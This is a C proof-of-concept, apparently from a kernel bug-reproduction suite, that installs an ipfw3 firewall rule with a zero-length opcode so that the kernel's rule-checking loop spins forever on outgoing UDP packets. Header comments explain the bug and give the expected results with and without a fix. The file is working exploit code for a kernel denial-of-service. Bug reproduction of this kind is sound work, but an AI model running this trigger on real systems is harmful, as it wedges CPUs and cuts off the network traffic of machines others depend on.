DF-0474 / df0474_loop.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 | /* * DF-0474 - ipfw3 zero-length opcode infinite loop (UDP-specific trigger) * * Bug: sys/net/ipfw3/ip_fw3.c:493-495 (ip_fw3_chk inner opcode loop) * sys/net/ipfw3/ip_fw3.c:201-204 (ip_fw3_unregister_module loop) * * for (l = f->cmd_len, cmd = f->cmd; l > 0; * l -= cmdlen, * cmd = (ipfw_insn *)((uint32_t *)cmd + cmdlen)) { * cmdlen = F_LEN(cmd); // cmd->len & 0x3f * ... * } * * If cmd->len low-6-bits are 0 (e.g. 0x80 = F_NOT|0), cmdlen=0 and the * loop never advances. A non-terminating filter (one that returns * IP_FW_CTL_NO) keeps the loop spinning on the same cmd, wedging the * calling thread/CPU. * * This PoC installs a rule that matches ONLY outgoing UDP (proto 17), * so the SSH TCP session is unaffected and can report the hang. * * Rule structure: * cmd[0] = check_proto(UDP) [len=2, module=0, opcode=O_BASIC_PROTO=10] * cmd[1] = check_in F_NOT [len=0x80, module=0, opcode=O_BASIC_IN=5] * * For an outgoing UDP packet: * - check_proto(17): f_id.proto==17 -> cmd_val=1. No F_NOT. Match -> continue. * - check_in F_NOT : oif!=NULL -> cmd_val=0. F_NOT -> cmd_val=1. Match. * cmd += F_LEN(0x80)=0 -> same cmd -> INFINITE LOOP. * * For an outgoing TCP packet (SSH): * - check_proto(17): f_id.proto==6 -> cmd_val=0. No F_NOT. No match -> * goto next_rule. SSH unaffected. * * Build: cc -o df0474_loop df0474_loop.c * Run: ./df0474_loop [dst_ip] * default dst_ip = 10.0.2.15 (guest vtnet0; goes through PFIL_OUT) * * Expected (bug present): sendto() hangs; the run.sh timeout kills it; * guest is otherwise responsive (SSH TCP unaffected). * Expected (fixed): rule install rejected OR sendto returns. */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #define IP_FW_X 49 #define IP_FW_ADD 50 #define F_NOT 0x80 #define F_LEN_MASK 0x3f struct ipfw_insn { uint8_t opcode; uint8_t len; uint16_t arg1; uint8_t module; uint8_t arg3; uint16_t arg2; } __attribute__((packed)); struct ip_fw_x_header { uint16_t opcode; uint16_t _pad; } __attribute__((packed)); #define O_BASIC_PROTO 10 /* sys/net/ipfw3_basic/ip_fw3_basic.h:53 */ #define O_BASIC_IN 5 /* :47 */ #define MODULE_BASIC_ID 0 #define IPPROTO_UDP_LOCAL 17 struct ipfw_ioc_rule { uint16_t act_ofs; uint16_t cmd_len; uint16_t rulenum; uint8_t set; uint8_t insert; uint32_t sets; uint64_t pcnt; uint64_t bcnt; uint32_t timestamp; struct ipfw_insn cmd[16]; } __attribute__((packed)); struct fw_x_msg { struct ip_fw_x_header hdr; struct ipfw_ioc_rule rule; } __attribute__((packed)); int main(int argc, char **argv) { int s, u, rc, i; struct sockaddr_in dst; struct fw_x_msg m; const char *dst_ip = (argc > 1) ? argv[1] : "10.0.2.15"; printf("DF-0474: ipfw3 zero-length opcode infinite loop (UDP-only rule)\n"); printf("Bug: ip_fw3.c:493-495 (chk), :201-204 (unregister)\n\n"); s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { perror("socket RAW"); return 2; } /* Build the UDP-specific buggy rule: cmd[0] = check_proto(UDP), cmd[1] = check_in F_NOT (zero-length) */ memset(&m, 0, sizeof(m)); m.hdr.opcode = IP_FW_ADD; m.rule.act_ofs = 4; /* past cmd array; unused for this trigger */ m.rule.cmd_len = 4; /* 2 insns * 2 words each = 4 uint32_t */ m.rule.rulenum = 100; m.rule.set = 0; m.rule.insert = 0; /* cmd[0]: proto filter */ m.rule.cmd[0].opcode = O_BASIC_PROTO; m.rule.cmd[0].len = 2; /* LEN_OF_IPFWINSN */ m.rule.cmd[0].module = MODULE_BASIC_ID; m.rule.cmd[0].arg1 = IPPROTO_UDP_LOCAL; /* cmd[1]: buggy zero-length check_in F_NOT */ m.rule.cmd[1].opcode = O_BASIC_IN; m.rule.cmd[1].len = F_NOT; /* 0x80: F_LEN=0 -> the bug */ m.rule.cmd[1].module = MODULE_BASIC_ID; if (setsockopt(s, IPPROTO_IP, IP_FW_X, &m, sizeof(m)) < 0) { fprintf(stderr, "setsockopt IP_FW_ADD: %s\n", strerror(errno)); return 2; } printf("[+] installed UDP-only buggy rule 100\n"); printf(" cmd[0]: proto(UDP) len=2\n"); printf(" cmd[1]: check_in len=0x%02x (F_LEN=%u) <-- ZERO LENGTH\n", F_NOT, F_NOT & F_LEN_MASK); printf("[*] SSH (TCP) is unaffected; only outgoing UDP will hang.\n\n"); printf("[*] sending 3 UDP packets to %s:9 (non-loopback -> PFIL_OUT)...\n", dst_ip); printf("[*] if bug present, the sendto calls hang in ip_fw3_chk.\n"); fflush(stdout); u = socket(AF_INET, SOCK_DGRAM, 0); if (u < 0) { perror("socket UDP"); close(s); return 2; } memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; dst.sin_port = htons(9); inet_aton(dst_ip, &dst.sin_addr); for (i = 0; i < 3; i++) { printf("[*] sendto[%d]...\n", i); fflush(stdout); rc = sendto(u, "x", 1, 0, (struct sockaddr*)&dst, sizeof(dst)); printf("[!] sendto[%d] rc=%d", i, rc); if (rc < 0) printf(" errno=%d(%s)", errno, strerror(errno)); printf("\n"); fflush(stdout); } close(u); close(s); return 0; } |